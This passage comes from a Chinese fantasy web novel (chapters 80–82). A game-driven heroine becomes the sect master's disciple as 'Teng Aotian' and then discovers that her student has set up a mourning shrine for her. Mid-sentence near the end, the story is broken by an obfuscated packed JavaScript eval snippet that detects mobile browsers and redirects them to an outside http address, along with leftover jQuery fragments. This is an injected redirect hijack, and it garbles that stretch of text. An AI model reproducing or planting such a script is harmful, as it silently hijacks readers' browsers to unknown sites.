龙傲天难道不是天道宠儿了?现在换人了?换成眼前这位……滕傲天、龙傲天……名字如此相像,滕傲天莫非是新出现的天道之女? 一阵清风吹拂,凌乱了所有人的头发,却无人抬起手臂,整理脸上的发丝。 不仅他们目瞪口呆,滕棠实则也被自己的言行惊诧到。她心中欲哭无泪,无声询问热血岁月:说这种话,确定不会被打么?要扬名,也不是这么扬的啊! 然而游戏并不能回复她的质问,仍然控制着她的身体,做出匪夷所思的举动。 滕棠的左手臂弯曲,蓦地在怀中掏出个酒杯。那酒杯完全是凭空出现,未挨到衣服,且与储物戒没有灵力联系。 她的右手一直牢牢抓着司徒福禄的衣领,两人距离很近,她稍微伸直左手手臂,便将酒杯喂到司徒福禄嘴边,强迫他喝下拜师酒。 [完成初出茅庐·三] [奖励500上品灵石、基础数值×1.5卡、经验值9999……] 结束了? 滕棠的五感渐渐归位,忽然发现自己能掌控身体了。 但剩下的烂摊子,该怎么收拾? 她脚跟着地,抖了两下手,松开司徒福禄的衣领,左手中的酒杯渐渐隐匿消失。 “咳……掌门……”滕棠有些害怕地叫道。 为了拿奖励,她确实可以厚起脸皮做许多事,比如再三恳求司徒福禄收自己为徒,比如再砍两块道石,证明自己的能力。可这并不包括,拽着司徒福禄的衣领,狂言狂语地让对方记住自己的名字…… 司徒福禄依旧没什么表情,如同一尊石像立在那儿,谁也不知道他在想什么。 大长老是全门派最了解司徒福禄之人,一下瞧出他的心思,察觉他的双目很有光泽,比之前明亮好几倍,不免叹气。 大长老没有点破司徒福禄的心思,转身对滕棠道:“你这姑娘,年级轻轻,怎么哎……” 话到中途,他没继续说下去,怕滕傲天成为首席弟子以后,忆起今日会埋怨自己。 “天道怎么不灭了你呢?”胡坤由于太过惊讶,在人群中不小心说出了心声。 他的心声,也是大家的心声。 二长老望着傍晚的天空,表情疑惑:“确实古怪,天道竟这般好脾气。” 滕棠汗流浃背,舔舔嘴皮,刚才吼得太大声,以至于嗓子有点疼。 离她一步距离的司徒福禄,忽然在众人仰望天空时,双手一拊,朝滕棠点头,赞赏夸道:“好!好!我收你为徒!” 他用手背擦拭干净嘴角的烈酒,背起湿漉漉的手,心里热血澎湃。 滕傲天的这番话太对他的胃口了!他在滕傲天身上看到了狂气! 他一直不愿收徒,是因为迄今为止,没遇见一位身冒狂气之人。没想到,今日气运极佳,竟让他遇到了滕傲天。 想当初,龙傲天来到天央大陆,风光事迹广为流传。他听闻后,甚是喜欢,曾想登门拜访,即使不能收其为徒,能结识一番,亦能满足自己找寻狂人的心愿。 如今,他不用去找那苟活在外的龙傲天了,他看到了更好的接班人! 司徒福禄抬起手,大掌嗙嗙拍打在滕棠的肩膀上。力度之大,可见他的喜爱:“我徒弟滕傲天!好好!” 他的面瘫脸难得露出表情,似笑非笑,皮笑肉不笑,两分笑意八分僵硬。 熟悉他的人都知道,他现在非常高兴。 司徒福禄为证明自己对滕傲天是真的青睐,选择用实际行动代替各种赞赏之词。 当着众人的面,他拿出自己珍藏已久、从不示人的刀法——《狂刀仙法》,递给滕傲天。 在场无论是内门弟子,还是新加入门派的散修,都一脸震惊,原来掌门喜欢这样的徒弟?他们之所以没被司徒福禄看中,是因为不够死缠烂打?不够张狂? 弟子们望着掌门手中的《狂刀仙法》,眉眼纠结,心里羡慕极了。但让他们学滕傲天,他们又不敢。 光是拽着掌门的领口说话,他们就畏葸不前,没那样的勇气,更别说立誓要把天道踹下神坛。 他们还想好好活着,不敢赌天道没听见,放过他们。但凡有个万一,天道听见他们的挑衅,一道紫雷劈下来……人都无了,还拜什么师。 九位长老里面,有两位长老是刀修,分别是大长老和七长老。大长老还好,曾经运气好,得到一本上品刀法,但七长老没那个运气,到现在练的刀法,依然是门内珍藏的中上品刀法——《千刀百战》。 七长老现在不仅馋滕棠的刀,还馋滕棠手中的刀法,胡子抖抖,朝掌门一拜:“掌门,她乃五灵根之资,教她狂刀仙法,实在不妥。门派收徒亦有规定,掌门之徒,天资必须是双灵根或单灵根,这样的天才方能配得上天下第一刀的名号。” 既然自己两样都得不到,不如毁了她人的桥,让滕棠空有好刀,没有一身好的刀法,七长老小心眼地暗忖着。 他向来不大度,滕傲天方才拂他脸面,不愿意卖刀,这让他耿耿于怀。 他虽然不会做出有损身份、伤及名声之事,但心中郁气尚在。想让滕棠不好过,唯有在司徒福禄这儿使点小绊子,既无伤大雅,又能让自己感到畅快。 没想到的是,大长老竟站在他这边,跟着附和道:“七弟说得对,门规不可违背。何况,你放着李偲缨不收、刘仁不收,收她?” 李偲缨倒好说,善用软剑,不习惯用刀,收来当徒弟,只能指点心法与修炼上的问题。 但刘仁是刀修,道域天赋在弟子中排在第二,年纪轻轻,就有了十级道域。这样的刀修天才,大长老时常举荐给司徒福禄,奈何对方就是不收。 “就是,掌门若收她为徒,她就成了狂刀门的大师姐。李偲缨为狂刀门带来多少新鲜血液?我们就这样寒她的心么?”二长老也加入了反对的队伍。 门派弟子数千,祁长兰只看好李偲缨,这位她带回来的天才。 她不断贬低滕傲天,希望司徒福禄多为李偲缨考虑,多为门派考虑,不要一激动做出错误决定:“我们对外宣称滕傲天是大师姐,别人一问,得知她是五灵根废柴之资,岂不让人笑掉大牙?” 滕棠僵着手臂,对于司徒福禄递来的《狂刀仙法》,她接也不是,不接也不是,夹在三位长老与司徒福禄中间,进退两难。 她只是想做个任务,并不是真的想拜师、做门派的大师姐。那样高调之举,绝不是她想做的事。 其实三位长老说得挺有道理的,如果他们真能说动司徒福禄,让司徒福禄收回刚才的话,系统应该不会将奖励拿回去吧? “我心意已决,你们无需再劝。” 司徒福禄见滕傲天一直不接,于是主动将《狂刀仙法》塞入滕傲天手中。 81. 第 81 章 他的大掌,再次“嗙嗙”拍在滕棠肩膀上,很满意地说:“我徒弟,滕傲天!好!” “真是说不动你。”大长老叹气一声,给七长老和二长老使眼色,让他们别再劝了,不然司徒福禄一生气,带着滕棠离开,另建门派,都是极有可能之事。 大长老拿出正式弟子的储物袋,交给滕傲天,慢腾腾与她说起一月后的内门大比。 “你成了掌门的首徒,便是门派的大师姐,若不亮出点实力,恐怕难以服众。正好,一个月后是两年一次的内门大比,照理说,新人不该参与比试,但你现在是大师姐,必须赴身,这一个月做好准备,我……” 他讲话很慢,听得让人着急,说的内容又多,讲到天边晚霞都出现了,还没结束。 滕棠看向左右两侧,不知何时,几位长老已经挑好徒弟,带着新弟子离开了。山谷之中,只剩下她、大长老,以及一位内门弟子。 “滕傲天,你要努力修行,知道么?放平心态,门内大比,肯定是会给掌门丢脸的,但不说争上游,你要努力挤进中游,丢脸也分丢大脸和丢小……” 滕棠“嗯嗯”两声,不停点头,同大长老保证:“知道了,大长老,我会努力的。另外其实……我不叫滕傲……” 大长老语速虽慢,插话却快:“行了,我不多说了,你好自为之,李夙昇会带你去掌门峰。” 大长老说完就走了,留滕棠在原地欲哭无泪,她真不想被叫做滕傲天,想着能纠正一个人是一个人,没想到大长老根本不想听她说话。 “滕傲天大师姐。” 按地位来讲,滕棠现在是首徒。李夙昇叫她时,便带上了“大师姐”三字。 被叫者,露出一脸苦瓜相,试图更正:“我叫滕棠,不叫滕傲天,刚才是说着玩的。” 怎奈她今日的所行所言,太令人震撼,完全符合“傲天”二字。李夙昇完全不信她在开玩笑,朝她拱手,又叫了一声:“傲天大师姐。” “……” 滕棠沉默半晌,放弃了挣扎,踏上大刀,对他道:“劳烦师弟带路了。” 头发灰白、看着有六十岁的李夙昇,憨憨一笑:“傲天大师姐不必客气,请跟我来。” 两人御使灵器,往狂刀门的内山飞去。 去往掌门峰的途中,李夙昇突然提起另一位大师姐:“傲天师姐一定知晓李大-师姐吧。” 如今的天央大陆,济济人才,这十年里,要论谁最具名气,除了声名狼藉的龙傲天,便是狂刀门的李偲缨。再过两年,说不定李偲缨能超过万丹山的天才——冯榆森。 滕棠先是摇头,后停下,假装问:“李偲缨?” “嗯,她才是我们真正的大师姐。” 李夙昇有金丹四层的实力,似乎是想让她莫飘,别以为当上了掌门首徒,就会被众弟子尊敬。 他直言道:“我只认李师姐为门派大师姐。” 他的眼神充满无限崇拜:“十年前,门内大比,李师姐直接挑下门派第一的弟子,成为大师姐,两年之后差距拉开,无人敢与其比试。如今不过十年,便有分神一层的实力,令我等望尘莫及!她的实力境界,都可当门派长老了!” 滕棠听完长叹一声:“是啊……”我到现在都不敢跟人说,我是她的师父,甚至不敢将她召唤过来。 李夙昇不停在夸李偲缨如何厉害,他有多崇拜李大-师姐,俨然小迷弟一枚。 滕棠越听越觉得,自己没召唤李偲缨,是一件很正确的事。要是把人叫到狂刀门山前,对众人说“这是我徒弟”,不仅李偲缨会当场翻脸,这些弟子也会义愤填膺吧。 她打断李夙昇的溢美之词,问起自己目前最关心的事:“请问李师弟,内门比试需要注意什么吗?怎么个比法?” 第二届[雄霸天下],她刚才报了名,对1000场连胜的奖励异常渴望。 原本担心打擂台,拿不到那么多场连胜,现在碰巧赶上门内大比。她想知道,自己不打擂台的话,能否直接在内门大比上获取一千场连胜。 李夙昇虽然不满意她变成了大师姐,但对她还算客气,有问必答,只是三句不离李偲缨,变着法子夸赞自己的偶像。 他从腰间取下门派令牌,翻到背面,上面刻着一个数——贰玖柒。 “狂刀门有一千余名内门弟子,以实力论地位高低。内门弟子的令牌呈赤铜色,反面有其序位,比如我,排在第二百九十七位。” 他回想着李偲缨的风光,乐呵笑道:“李大-师姐排在第一,实力超群,无人敢与其挑战。” 滕棠没打断他,希望他夸两句后,赶紧说她想知道的事。 李夙昇摸着自己令牌上的数字,忽然露出奋矜之容:“比试时,只能挑战、夺取比自己小的数,或不挑战,坐观战台处歇候。被挑战的弟子,不能拒绝。我因实力不错,近两次内门大比,都未有人敢挑走我牌数。” 咦,这不就意味着……她有机会连胜一千场?只要从最大的数,一直单挑,夺到最小的数…… 想到这点,滕棠眼睛一亮。她刚入狂刀门,令牌上没有数字,按照规则,她可以从实力最低的内门弟子开始挑战。 李夙昇瞟她一眼,摇摇头:“一个月后的内门比试,你服不了众。狂刀门的弟子都非凡夫俗子,争强好胜这么多年,唯有李师姐令我们心悦诚服。除非你也像她那样,夺走第一的数。” 滕棠未回话,心中在盘算连胜的计划。 不一会儿,两人抵至狂刀门最高峰——掌门峰。 滕棠跟李夙昇拜别,客套道:“多谢李师弟带路,一个月后擂台见,还请手下留情。” 李夙昇摆摆手:“你我实力相差不多,你又是五灵根,且有那冰火大刀,别挑战我了,你可挑战排第二百的,既稳妥又能彰显点实力。” 他虽对“滕傲天大师姐”这个名头不服,自知之明还是有的。 和李夙昇分开后,滕棠落足在掌门峰上。 狂刀门的建筑与山有其特色,除了正门的山,其余山的形状陡峭直立,外形似刀似剑,光滑锋利,无法用双足攀登。 掌门峰更甚,两座峭壁并立,高耸入云。山上没有草木,从头至尾乌玄如铁,表面历经风雨后,像抛了光,日出一照,亮出锋寒的暗芒,使得雄伟高大的峭壁更加似两把巨刀。 掌门峰顶,可观云海,洁白与黎灰的山石相衬,又有种水墨画的意境。 滕棠上至庑殿,迎面行来一位穿着黑衣的杂役。 对方端着盘被吃过的灵果核,路过时朝她一拜:“九长老叫您进去,今日盛宴,有您的桌子。” 滕棠说了声“好”,进去后看到不少人,九位长老都在,还有他们的得意弟子。 众人正在饮酒作乐,吃着灵果兽肉,互谈今日谁收的徒弟好。 滕棠走进来,大家都停下交谈,看向她。 “滕傲天,你用刀既是因为仰慕掌门,为何不早点来狂刀门?”二长老好奇地问她。 师已经拜了,任务也完成了,就剩一堆烂摊子不知道怎么收拾。 滕棠打好草稿再开口,以免疏漏:“多年前,我随家族来到天央大陆,偶然观过掌门的刀法,甚是崇拜。奈何我的家族不在天央大陆,距这儿路途遥远,母亲念我年龄太小,不许我来狂刀门拜师,我只能私下崇拜,收集狂刀门的传闻,学掌门练刀,如今我已满二十岁……” 庆幸的是,她讲完后,几个长老都没挑刺,就祁长兰问她来自哪儿。她答了句“东妖灵陆”后,无人继续追问。 滕棠其实对东妖灵陆并不了解,只知那是一块神奇的大陆,大妖众多,在那里居住的修者跟隐士差不多,不怎么与其他大陆的修者来往。 司徒福禄静静喝着酒,听他们聊天,默然不语。那双黑白分明的眼睛,再次沉寂无光,甚至显得有点不高兴。 大长老余光瞟到,对司徒福禄说:“你这徒弟,没我的徒弟刘仁好。” 他再次试着把刘仁推举出去。刘仁这样的天赋,拜在他名下,实在有些浪费,若能学到狂刀仙法,刘仁定能走得更远。 司徒福禄瞥他一眼,手中酒杯重重一放,清酿全洒了出来:“我的徒弟有狂气!刘仁没有。” 大长老来了劲,站起身,对滕棠招招手,让她到大殿中间来,高声道:“你既是刀修,何不来一套狂澜刀法给众人看看。” 他有意让滕傲天出糗。此前那些崇拜司徒福禄的修者,所展示的狂澜刀法,没一个能让司徒福禄满意。他不信滕傲天这么年轻,能将刀法练好。 滕棠站在大殿中央,一脸懵。她蓦地想起小时候,孤儿院逢年过节,总会抽几个小孩上台表演,几岁到十岁还好,没什么羞耻心,十几岁还当着众人表演,那真的会尬到脚趾抓地。 她犹犹豫豫,问大长老:“狂澜刀法是什么?我……不会。” 说自己不会,应该能躲过一劫吧? “你不知道?”大长老震惊得后仰。 有滕棠在的地方,不知道为什么,场子十分容易安静下来。本来热热闹闹的大殿,忽然变得格外冷清。 大长老也没想到,滕棠是以另外一种方式出糗。 大殿内,祁长兰紧接着问她:“那你可知狂澜尊者是谁?” 滕棠不懂他们为何如此惊讶,作为一个诚实的人,她摇摇头道:“不知。” 祁长兰吞吞口水,又问:“你……” 还没问出口,便被司徒福禄打断:“够了。” 司徒福禄虽然面无表情,但眼神不太好,有点凶。 不过,这目光对准的不是滕棠,而是大长老和二长老。 滕棠记得今日在山谷中,隔着好几百米的距离,她打开过司徒福禄的个人信息,当时字体太小,灵眼开启外加精神力消耗,让她没有时间细看。 隐约中,她好像看到过“狂澜刀法”四个字? 她的目光再次聚在司徒福禄头顶上:[司徒福禄,男,87级,单金灵根,灵刀修。天赋技能:五十层刀域,狂刀仙法,狂刀风斩,狂金砍……狂澜刀法……] 咦,真有?大长老为什么那样问?大家为什么露出惊讶的神色?难不成所有崇拜司徒福禄的刀修……都会这个刀法? 司徒福禄坐在大殿上方,见滕棠盯着自己半天不说话,他硬着一张脸道:“我就是狂澜尊者,天下第一刀!狂澜刀法乃我创造的中品刀法。很好!滕傲天!非常好!” 滕棠中断目光,听到他的话,瞬间慌了,好尴尬……司徒福禄是在阴阳怪气吗?他在怪我欺骗他? 谁料峰回路转,司徒福禄接下来的话,让她完全怔住。 身材壮硕的男人站起身,挤开挡道的大长老,情绪十分激动:“做我的徒弟,就是要这么目中无人!即使我是你师父,也不准放在眼里!滕傲天!往后在为师面前,再狂一些!” 他说得激昂,整个大殿都回荡着他的声音。 往日沉默寡言的掌门,今日格外话多,声音还如此大……几个长老惊得喷出嘴里的酒。 司徒福禄对滕傲天的第二次表现很满意,又抛给她一本书:“这是狂刀仙法第二篇,等你狂气再增长一些,获得我的认可,第三篇不在话下。” 滕棠接住书,一脸窘迫。 原来司徒福禄不喜欢被人拍马屁,喜欢被人瞧不起…… 这人是M吗?怎么性格如此古怪…… 她忽然明白剧情任务为何那样奇葩,为什么司徒福禄之前没有徒弟。普天之下,哪个实力低下的年轻人敢瞧不起大乘期的掌门?敢在司徒福禄面前说狂话? 就是这些待在狂刀门已久的长老,同样不敢惹怒司徒福禄,顶多开点小玩笑或者委婉提意见,平时大事上,皆以掌门为尊。 滕棠瞅了眼傻掉的长老们,心想,这大殿内是待不下去了,再继续聊,不知会聊爆什么话题。 她抱着书,朝所有长老一拜,而后谢过司徒福禄,匆匆逃离现场。 来到殿外,滕棠擦了下额头的冷汗,翻开手里的仙法,通篇“狂”字充斥眼球,每段术式必以狂字开头,看得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14032740|148844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她狂流汗水。 看来以后在司徒面前,她必须注意言辞,狂妄一点。 哎……自从游戏系统篡改她ID,“滕棠”变成“滕傲天”后,她似乎在高调的路上一去不复返了。 滕棠摇摇头,在脑中打开[主线剧情],上面已经发布了新的任务。 [初出茅庐·四:你发现自己依旧寂寂无闻,为了有朝一日傲视天下,开始努力打响名声。完成至少三项门派任务。▽29天3时58分34秒] 任务截止时间,恰好在内门比试前一日。 “大师姐。” 听到人喊,滕棠回过神来。 一名杂役朝她弓着腰,向山崖右侧摆手:“我带您去大师姐住的修行院。” “哦好。”滕棠看向她头上的等级。 天央大陆不愧为最强大陆,人多到如此之卷,连掌门峰的杂役都有筑基二层的实力。 对方是四灵根,御剑在前面带路,毕恭毕敬地问她:“滕师姐与李师姐同等,管事说让分到一块儿住,您看?” “我无妨。”滕棠对住的地方不挑剔。 她和李偲缨是旧识,同住一个屋檐下,正好可以叙叙旧。 就是不知李偲缨……是否还记得自己,滕棠对此很没信心。她们就认识了两三个月,大部分的时间里,李偲缨都在睡觉,最后那一个月,自己是在人鱼墓海中度过的。 转眼十年过去,李偲缨已经有了新的师父,还是位大能,应该把自己遗忘了吧…… 滕棠在脑袋内点开[师徒],对着界面上唯一的徒弟看了又看。李偲缨的头像很美,是她的正脸,玉貌花容、青女素娥,看着妥妥一位寒冰仙子,不管男女见她,都为之倾心。 李偲缨的头像下方写着“大徒弟”三个字,再下面是师徒羁绊值,由于两人没怎么互动过,目前仍是[1级]。 [1级]的加成很低,如果两个人待在一起,挑战什么人或者打妖魔鬼怪,可能都感受不到它带来的增幅。 掌门峰由两把刀山组成,在右侧那座刀山之上,悬崖峭壁处悬浮着几块巨型石块。 石块不怎么漂浮,稳稳当当悬在云间,上面筑有不同样式的府宅,一些是长老们的住处,一些是给核心弟子讲道用的地方。 作为新晋大师姐,滕棠此时的地位与李偲缨相同。她们的院落处在最下方的石块中央,外观整体上,没有长老们的府邸宽大精美,胜在位置不错。 巨石恰好升在云海上方,仿佛被盈千累万的棉花托起。院中白雾缥缈,琉璃瓦同云气相与为一,犹如仙境。 滕棠站在巨石边缘的露台上,足边云霭洁白,碰到皮肤上凉凉的,让她感觉很舒服。 精神清透了不少,滕棠远望清晰浮动的云海,心旷神怡,暗叹这真是个好地方,每日醒来,都可欣赏如此壮丽之景。 “你回去吧,我自己进去看看。”滕棠对杂役道。 杂役走后,付岚山从滕棠丹田处冒出头:“嘶嘶嘶……!”闷死我了! 没有肉身,他不能离滕棠太远,好似一只被禁锢的鸟,天天闹着要自由。 “滕棠……”许是吸取到之前的经验,知道滕棠吃软不吃硬,付岚山难得改口,问她:“主人,我要壳子,你什么时候给我壳子?” 滕棠心情不错,拍拍他的圆脑袋,这次不是画大饼,而是真诚道:“不出意外,一个月后,你就有新壳子了。” “真的假的?”付岚山兴奋起来,两只眼睛睁得老大,使得竖立的瞳孔显得更小。他嚷嚷道:“我要蛇壳子!” 滕棠向来怕蛇,不知为何,一点不怕付岚山,可能是相处太久,或者因为付岚山长肥之后,看起来不那么吓人。 她无奈摇头,给付岚山比划:“是头鹿,大约这么高、这么长。” “发光吗?”付岚山眼睛亮晶晶的。 滕棠点头,对他神秘一笑:“光彩射人。” 热血岁月出品,绝对精品,哪一样不是明光烁亮的? 付岚山乐开了花,兴致冲冲地追问滕棠,九色鹿具体长什么样子,让她讲详细点。 当得知九色鹿不仅比九色猫高大,还比九色猫耀眼时,他高兴坏了,不再纠结那是不是蛇壳子,尾巴卷卷,异常富态的蛇魂缠紧滕棠的五色灵根,开始做起美梦。 滕棠穿过露台,走近那座藏在白雾中的院落。 她调出五色灵力,将院落门口的雾气驱散开,鼻尖嗅到一股焚香之味。 灵雾淡了许多,正门竖匾上的三个大字清晰可见——忆师轩。 木匾两侧,挂了几朵麻布扎的白花,再往旁,是光芒微弱的简朴素灯。偶而有风轻轻刮过,白绢做的素灯便会摇晃两下,照出背后飘飞的长幡。 滕棠莫名起了一身鸡疙瘩,觉得有些冷,暗想,这里是死了人,还是建筑风格本就如此。 离得近了,那焚香的味道有些熏。滕棠掩住鼻子,推开大门走进去。 在她跨过门槛的时候,素灯噌地自燃,烧出明亮的蓝色火光,照亮门口的路。那蓝色的光点,倒映在玄黑光滑的地上,万分诡异。 滕棠身上的鸡皮疙瘩冒得越来越多,怕鬼的她,每走一步,都觉瘆得慌。 天空已出现暮色,正院之中的白绢素灯一盏盏亮起,在白雾中随微风摇晃。 滕棠掀开满院飘动的白色幔帐,找路找得晕头转向,不知哪儿才是自己的住处。 她不停搓动胳膊。周围虽然挂满白色长幡,她却丝毫感受不到温暖,越走越冷。 抛开面前的白布,滕棠忽然行至一灵堂前,顿时魂惊胆落。 如果是别人的灵堂,她顶多感到害怕,说两句好话,麻溜走人。但这灵堂是她的…… 沾满香灰的台面上,摆放着各式瓜果,皆用金玉盘所盛。她的灵像置于中间,精美无比,完全是缩小版的自己。 灵像嘴角僵硬勾起,表情慈眉善目,双腿盘坐在莲花中,背后有个巨大的“奠”字,身前有一块香檀灵木做的牌位,上面写着——吾师滕棠之位。 82. 第 82 章 幽幽蓝光倾洒在灵堂上,忽明忽灭,恍若魑魅魍魉的影子。 滕棠见到灵像的第一眼,差点给自己跪了! 环境阴暗,她盯着桌上那栩栩如生的灵像,毛骨悚然,从未觉得自己的笑容如此可怕过。 双眼泛出眼泪,滕棠捏着袖子擦拭眼角,并非被自己的灵堂感动到,而是被香火熏得睁不开眼睛。 她面前有个圆形香炉,高四尺,中间插着手臂粗的檀香,熏人的烟雾便由此而来,烧得她直掉眼泪。 “呜呜——”暮色已至,山崖吹起晚风,比方才剧烈一些,使院中长幡纷飞,让空荡的厢房与长廊发出尖锐的回响。 滕棠的心脏当即变得脆弱,咚咚直跳,仿佛下一秒会破出胸膛。 灵堂后方似乎还有张桌子,隐约能瞧见烛火的光芒。那边也有灰烟飘动,让滕棠生出好奇心。 她抚了抚胸口,努力使自己镇静。最终好奇心战胜害怕的情绪,她忍不住抬脚,小心翼翼地往灵堂后方走。 她的简易灵堂后方,还有个简易灵堂,布置和她的一模一样,只是灵像不同、灵牌上的字不同。 她觉得这灵像很眼熟,目光向下移动,看见几个大字——吾兄李偲易之位。 滕棠恍然想起这是谁。她当初还捡过对方的尸体,拿来给付岚山当壳子,最终没成,交到了李偲缨手里。 这是李偲缨的兄长,身体被祥天门老祖制成了魔傀,灵魂殒灭在血煞池之中,是个可怜人。 哎,这么看,李偲缨挺有孝道之心的。她还以为李偲缨把自己忘了,没想到对方竟给她做了个灵堂,供了十年之久。 不知不觉中,滕棠的恐惧消失了。 呜呜呜—— 夜晚寒凉,晚风越吹越大,滕棠被招魂幡打了好几次脸。 她将周身的白布抛开,走回自己灵堂那儿,看到桌子底下有个方形花圃,里面除了土什么也没有。 蹲下身瞧了一眼,滕棠发现土很松软,表面微湿,似乎是刚挖出来的。 “这底下弄个花圃,又没有植物,是什么意思?” 滕棠喃喃着起身,再看一眼自己的灵像,还是感觉那笑容很诡异,怎么看都瘆得慌。 连忙避开视线,滕棠捂住鼻子,离开这两个简易灵堂,去找自己的住所。 院落很空旷,她笔直前行,往相反的方向离去,没想到真的找到了两间空空如也的厢房。 推开门,里面连张床都没有,更别提柜子、桌凳之类的家具。 滕棠没有嫌弃,用灵力清掉屋内的尘埃,在屋子中间布置了个聚灵阵,开始盘坐中间,静心修行。 她这一练,就练到第二日清晨。 听着一声[叮]响,滕棠缓缓睁开眼,在脑子里打开游戏,为今日打上勾,领取了份羊毛奖励。 她刚想打开[雄霸天下]活动预告,再看一眼那些奖品,好激励自己努力修行。 这时,外面突然传来脚步声,以及女子的说话声。 对别人来说,距离珊瑚秘境消失,已过十年,但对滕棠来说,仅几日的时光。 她对李偲缨的声音再熟悉不过,优美婉转,恍若百灵鸟,听一会儿还行,听久了会觉得嘈杂。 因为李偲缨这只百灵鸟,之前在六鬼十凶傀运盒中憋太久,出来后养成了话多的习惯,一开嗓子,很难停下来。 滕棠离开聚灵阵,走至门边,轻轻推开门缝,用灵眼去瞧李偲缨在做什么。 早晨的光线较弱,白雾浓浓,让院落显得十分阴沉。但比起昨夜的昏黑,视野上不知好了几倍。 没有风,白幡停止飞动,彼此互不侵扰纠缠,露出几排空隙。 滕棠的目光穿过白幡之间的缝隙,延长五十米,抵达自己的简易灵堂。 李偲缨跪在圆垫上,满脸愁容。她身前有个铜盆,里面烧着纸钱,飘着袅袅青烟。 纸灰在空中星星点点地飞,把氛围烘托得更加悲凉。 李偲缨伏地磕了个响头,搓开新的纸钱,陆陆续续往火盆里添。 她的声音甚是哀伤:“昨日是师父的忌日,师父死十年了,在天上可有想念徒儿?” 滕棠心头一紧,暗骂李偲缨咒谁呢,她还没死呢! “我常常怪师父狠心,走得早,仔细一想,应该怪天道,我们师徒缘分太浅,在这凡间只能擦肩而过。若缘分再深一些,师父定然能在我身边多待几日。” 说着说着,李偲缨突然从储物戒里掏出一具白骨,骨架大小和滕棠的体型相似:“昨日带师父去狂海,万幸未丢失一根仙骨。” 李偲缨恭敬地捧起白骨,走至灵堂后方,扒拉桌下湿润的泥土。 她一边将白骨重新埋入里面的灵柩,一边念叨:“改日再把师父挖出来,带师父去看内门弟子比试。哎……那日,若师父不去围观龙傲天和人鱼族长打架,必然不会早早仙去。既然师父如此喜欢看打架,徒儿定会潜心孝敬,遇到比武、大能纷争、打斗,就带师父去瞧。” 李偲缨这脑回路真是清奇……滕棠怀疑她当初在血煞池中泡太久,把脑子泡傻了。 有谁孝敬长辈,会把对方的尸骨反复挖出来,带着到处走?她从未见过如此孝顺的徒弟,简直刷新了她对“孝顺”二字的认知。 她觉得自己再不出去,肯定会听见更离谱的话,于是大门一推,朝那边喊道:“李偲缨你搞什么呢?那不是我的尸骨!我又没死在你面前,你怎么就确认我死亡了呢?” 在上辈子,现代楼房很少有门槛这种东西,待在鹿焰宗的日子,她住的是杂役山洞。 不明亮的环境,以及李偲缨的奇葩言行,让滕棠忽略了脚下,冲出去的时候,没注意门口有两掌高的槛,右脚一绊,直接摔了个五体投地。 李偲缨听见巨大的动静,回头一看,排排招魂幡的尽头,有个身形和师父相像的女子,相当虔诚地朝她一拜。 李偲缨揉揉眼睛,迷茫地自言自语:“难道师父在天上被我的孝心感动,分一缕神魂下来,为答谢我的供奉?但我只是个凡人徒弟,师父可是天上神仙……” 李偲缨惊醒,慌不择路地穿过白幡,去将滕棠扶起:“师父不可,这都是我该做的,您是我师父,跪谢徒儿,徒儿会折寿的!” 话毕,她的手指捏了捏滕棠的胳膊,这手感很真实,摸起来没灵魂那么虚。 “胡说什么呢?这十年里天天咒我是吧?”滕棠推开她的手,拂掉衣服上沾的香灰、纸钱灰。 搓捻手指上的灰,她吐槽道:“你从哪儿学的,这都是凡人的习俗,我们修真之人,不兴这些。” 李偲缨愣愣地看着她,一动未动,仿佛真傻了,许久后才小心翼翼地问:“师父,你没死?你还活着?!” 滕棠深呼吸一口,告诉自己,别生气,李偲缨没有恶意,对方只是太“孝顺”了。 “我当然活着,你什么时候见我死了?” 她指着那边的灵堂,忿然作色:“你从哪里捡的人骨?那是我吗?我可是在锤骨圣殿过了二十圈坛的骨资。你赶紧把人家放回原来的地方,让人家安息,别再反复挖人家的尸骨了。” 见李偲缨仍然一动不动,滕棠伸出手,在对方眼睛前晃动:“徒弟?大徒弟?” 李偲缨猛地抓住青葱细指,瞪大眼睛问:“师父,我在做梦?” “你……哎,我真的没死!你那日,只看到我掉入灵魂宝石,何时见到我咽气了?” 滕棠甩开她的手:“你清醒点儿吧!” 李偲缨呆呆的,忽然神似顿悟,眉眼松开,心中的郁结全部解开。她的脸冷得发白,而后发青,睫羽、眉梢、发丝上皆凝出白色寒霜,与当初冰窖中的女尸无异。 滕棠吓了一跳,忙问她:“你怎么了?这十年还没安魂?没安魂,你怎么修行的?” 李偲缨摇摇头,露出一个阴寒的笑容,面上的霜雪点点飘落:“我的寒冰神体刚刚进阶了,变得更厉害了!多谢师父!” 这跟我有什么关系?滕棠羡慕极了,点开她的个人信息一瞧。还真是,李偲缨的寒冰神体原是待激活状态,现在显示已觉醒、升阶中。今日再进一阶,天赋再上一层,不知强到何种地步。 跟寒冰神体比起来,我这至柔仙体,完全是个垃圾。滕棠至今都未发现,她的至柔仙体有什么用,一度怀疑龙傲天眼花看错了,其实自己连特殊体质都不曾拥有。 她转过身,迈步走向自己的灵堂,开始收拾上面晦气的东西,把面露诡异笑容的灵像毁掉,将灵牌拍碎,拂掉桌子上的所有物品,只剩下那几盘瓜果。 滕棠把无名尸骨交到李偲缨手中,再三嘱咐对方把人家送回去,而后招来两块石头当凳子,坐到其中一块上。 她问背后那个满面寒霜的女子:“你给我讲讲,近十年里,天央大陆发生了哪些大事。” 李偲缨自刚才知晓她还活着后,便寸步不离,恨不得当她腿上挂件。她收起白骨,抱紧滕棠的大腿,一把鼻子一把泪:“师父命真苦,这十年过得很不好吧,不仅不知晓天央大陆上的事,实力还未有增进,才金丹三层,徒儿都分神一层了。” 滕棠的心被狠狠扎了一刀。 她哪里担当得起“傲天”二字,连自己的徒弟都比不过。 李偲缨不愧为冰灵根修者,眼泪水不值钱,一串接一串地从她眼眶中滑出来,把滕棠的裤腿打湿。 “不,师父不可能才金丹三层,这是师父幻化的实力,用来骗别人的。” 